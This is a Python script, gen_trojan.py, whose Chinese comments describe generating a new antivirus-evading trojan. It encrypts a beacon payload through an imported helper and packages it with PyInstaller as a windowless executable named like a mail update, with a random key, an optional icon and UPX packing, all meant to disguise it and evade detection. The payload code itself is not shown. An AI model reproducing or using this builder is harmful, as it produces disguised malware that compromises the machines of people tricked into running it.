gen_trojan.py

import datetime
import hashlib
import os.path
import platform
import sys

from loguru import logger
from common.project_path import project_path
from tmp_deal import create_cipher_beacon
from common.crypto_utils import crypto_utils

import subprocess

"""
生成船新的免杀马
"""


def exec_cmd(cmd):
    logger.info(f"打包中: {cmd}")
    ex = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    pipe, err = ex.communicate()
    status = ex.wait()
    # logger.info(f"status: {status}")
    if "completed successfully.".encode() not in err:
        logger.error("出错啦")
        logger.error( err.decode(encoding='gbk'))
        # logger.error(err.decode(encoding='gbk'))
        exit(1)
    logger.debug(pipe.decode('gbk'))
    logger.debug(err.decode('gbk'))
    return pipe.decode('gbk')


def get_rand_key():
    return crypto_utils.get_key().decode()


def get_rand_str():
    date = datetime.datetime.now()
    hash_class = hashlib.sha256()
    hash_class.update(str(date).encode())
    return hash_class.hexdigest()


def compile_py2exe(from_file_name="/step3.py", out_file_name="mail_update"):

    system_os = platform.system()
    # if os.path.exists(pyinstaller_path)
    pyinstaller_path = project_path.add_abs_path("\\venv\\Scripts\\pyinstaller.exe")
    if not os.path.exists(pyinstaller_path):
        pyinstaller_path = "pyinstaller.exe"
    upx_flag = True  # 包压缩
    icon_flag = True  # icon图标
    if system_os == "Darwin":
        pyinstaller_path = project_path.add_abs_path("/venv/bin/pyinstaller")
        upx_flag = False

    out_file_path = f'{out_file_name}_{get_rand_str()[:5]}'

    from_file_path = project_path.add_abs_path(from_file_name)
    # out_file_path = os.getcwd() + f"\\dist\\{out_file_name}_{get_rand_str()[:5]}"
    specpath_path = project_path.add_abs_path("\\spec")

    resource_path = project_path.add_abs_path(f"\\resource\\{out_file_name}.ico")
    if not os.path.exists(resource_path):
        icon_flag = False
    upx_path = project_path.add_abs_path("\\resource\\upx")
    cmd = f'"{pyinstaller_path}" --clean -F -w "{from_file_path}" --key "{get_rand_str()[:16]}" --specpath "{specpath_path}"  -n "{out_file_path}"'
    if icon_flag:
        cmd += " " + f' -i "{resource_path}"'
    if upx_flag:
        cmd += " " + f'--upx-dir="{upx_path}"'

    data = exec_cmd(cmd)
    logger.debug(data)


def gen():
    # 生成加密后的木马逻辑step2.py
    create_cipher_beacon()
    compile_py2exe()
    logger.info("打包结束，生成的程序默认在dist目录下")


if __name__ == '__main__':
    gen()